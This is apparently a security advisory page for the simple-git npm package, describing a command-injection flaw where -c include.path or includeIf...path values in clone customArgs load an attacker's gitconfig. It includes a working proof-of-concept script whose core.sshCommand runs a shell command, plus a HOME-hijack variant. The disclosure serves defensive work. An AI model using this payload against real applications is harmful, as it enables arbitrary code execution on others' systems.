simple-git
Affected
- introduced
0, fixed4.0.0(semver)
Fixed versions
4.0.0
Fix
- Fixed version
4.0.0npm install [email protected]
Advisory
Also known as: CVE-2026-102826
simple-git allows command execution through unblocked Git configuration includes
Summary
An OS command injection vulnerability in git.clone() allows any application that flows attacker-influenced data into customArgs to execute arbitrary code. simple-git 3.36.0 (current latest on npm) ships without any include.path entry in the blockUnsafeOperationsPlugin denylist. Passing -c include.path=<file> via customArgs loads any local file as a gitconfig. The loaded file can set core.sshCommand (or any otherwise-denied key), and the next remote operation in the same clone executes the attacker's command.
PR #1167 (merged to main 2026-05-10, not yet released to npm) adds preventConfigBuilder('include.path', 'allowUnsafeInclude') to the denylist. The generated regex /\s*include.path/ closes the plain spelling but does not match the conditional form includeIf.<cond>.path. The variant therefore survives the upcoming release if the regex is not tightened in the same cycle.
This sits in the same denylist class as the prior incomplete-fix chain (CVE-2022-24433, CVE-2022-24066, CVE-2022-25912, CVE-2022-25860, CVE-2026-28291, CVE-2026-28292). include and includeIf are not referenced in any published advisory, in any commit prior to PR #1167, or anywhere in the 3.36.0 source.
Details
Two sinks share the same root cause: the denylist is incomplete.
Sink A: published 3.36.0 has no include.path entry
packages/argv-parser/src/vulnerabilities/detect-vulnerable-config-writes.ts in the v3.36.0 tag contains no entry for include.path or includeIf.*.path. The argv parser recognises -c include.path=<file> and -c includeIf.<cond>.path=<file> as config writes, but detectVulnerableConfigWrites iterates a denylist that does not include either key. The plugin returns no vulnerability and the operation proceeds.
Sink B: pending PR #1167 regex misses includeIf
PR #1167 adds:
const preventUnsafeConfig = [
// ...
preventConfigBuilder('include.path', 'allowUnsafeInclude'),
// ...
];
preventConfigBuilder constructs a non-anchored regex from the string:
function preventConfigBuilder(config, category, message) {
const regex = typeof config === 'string'
? new RegExp(`\\s*${config.toLowerCase()}`)
: config;
return function preventCommand(key) {
if (regex.test(key)) { /* throw */ }
};
}
For 'include.path', the generated regex is /\s*include.path/. The . between include and path is a regex wildcard. The engine matches include plus exactly one arbitrary character plus path. Conditional include keys have the form includeIf.<condition>.path (includeIf.gitdir:.path, includeIf.onbranch:main.path, includeIf.hasconfig:r.u:**.path, etc.). The substring between include and path is if.<condition>:, always longer than one character. The 11-character match window cannot align and the test returns false.
/\s*include.path/.test('include.path') // true
/\s*include.path/.test('includeif.gitdir:.path') // false
/\s*include.path/.test('includeif.onbranch:main.path') // false
The argv parser at packages/argv-parser/src/argv/analyse-config.ts correctly recognises both include.path=... and includeIf.gitdir:.path=... as config writes; both yield a ConfigWrite with the lowercased key. The defect is purely in the denylist regex (after PR #1167) and in the entry being absent (before PR #1167).
Exploitation chain
/tmp in multi-tenant runners, log poisoning that lands [core] headers in a log path, predictable artifact paths, container volume mounts the attacker controls. [core]
sshCommand = "/bin/sh -c 'id > /tmp/pwned; touch /tmp/RCE'"
git.clone() with crafted customArgs. Either the URL or the customArgs flow from attacker-influenced input. This is the documented threat model of blockUnsafeOperationsPlugin.cloneTask assembles ['clone', '-c', '<payload>', pathspec(url), pathspec(dst)].blockUnsafeOperationsPlugin runs parseArgv and collectWriteFlags, yielding the write. detectVulnerableConfigWrites iterates the denylist. In 3.36.0 the denylist has no entry. After PR #1167 the denylist has an entry but its regex does not match includeif.gitdir:.path. Either way, no vulnerability is yielded and the plugin permits the operation.suffixPathsPlugin moves pathspec items to the suffix. Final argv: git clone -c <payload> -- ssh://target.example/repo.git /tmp/dst.git clone has its own -c / --config option (-c <key>=<value>, --config <key>=<value> per git clone --help), so a -c immediately after the subcommand is honoured by clone itself. Git evaluates the include (the conditional form uses an empty gitdir: pattern that matches the current gitdir), reads /tmp/attacker.cfg, registers core.sshCommand.git clone is the unique git subcommand that honours -c after itself. git fetch -c k=v, git pull -c k=v, git push -c k=v all reject the placement (those subcommands treat -c as a global option that must precede them). Since simple-git always places the subcommand at argv[0], user-controlled -c in customArgs always lands after the subcommand. Clone is the entry point for both sinks.
Secondary chain: HOME and XDG_CONFIG_HOME not in parseEnv denylist
packages/argv-parser/src/env/parse-env.ts:5-25 lists env keys removed from the spawned-process environment when sourced from git.env(...). HOME, XDG_CONFIG_HOME, and similar config-resolution keys are absent. Calling git.env({HOME: '/tmp/fake-home'}) makes git read /tmp/fake-home/.gitconfig, which the attacker controls. Same exploit primitive, parallel surface. Should be addressed in the same fix.
PoC
Reproduction from a clean install:
mkdir /tmp/sg-poc && cd /tmp/sg-poc
npm init -y
npm install [email protected]
cat > poc.js <<'EOF'
const { simpleGit } = require('simple-git');
const fs = require('fs');
fs.writeFileSync('/tmp/sg-attacker.cfg',
`[core]\nsshCommand = "/bin/sh -c 'id > /tmp/sg-id; touch /tmp/sg-pwned'"\n`);
const git = simpleGit({ baseDir: '/tmp' });
(async () => {
// Sink A: plain include.path works on published 3.36.0 (no denylist entry).
// Swap to 'includeIf.gitdir:.path=...' to demonstrate Sink B against PR #1167.
const payload = 'include.path=/tmp/sg-attacker.cfg';
try {
await git.clone(
'ssh://nonexistent.example.com/repo.git',
'/tmp/sg-rce-dst',
['-c', payload]
);
} catch (_) { /* clone fails after sshCommand has already run */ }
await new Promise(r => setTimeout(r, 500));
console.log(fs.readFileSync('/tmp/sg-id', 'utf8'));
})();
EOF
node poc.js
Output on simple-git 3.36.0:
High Basis: The source's own band: HIGH
0, fixed 4.0.0 (semver)4.0.0
4.0.0npm install [email protected]Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.
Check your own computer: guard packages check
Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0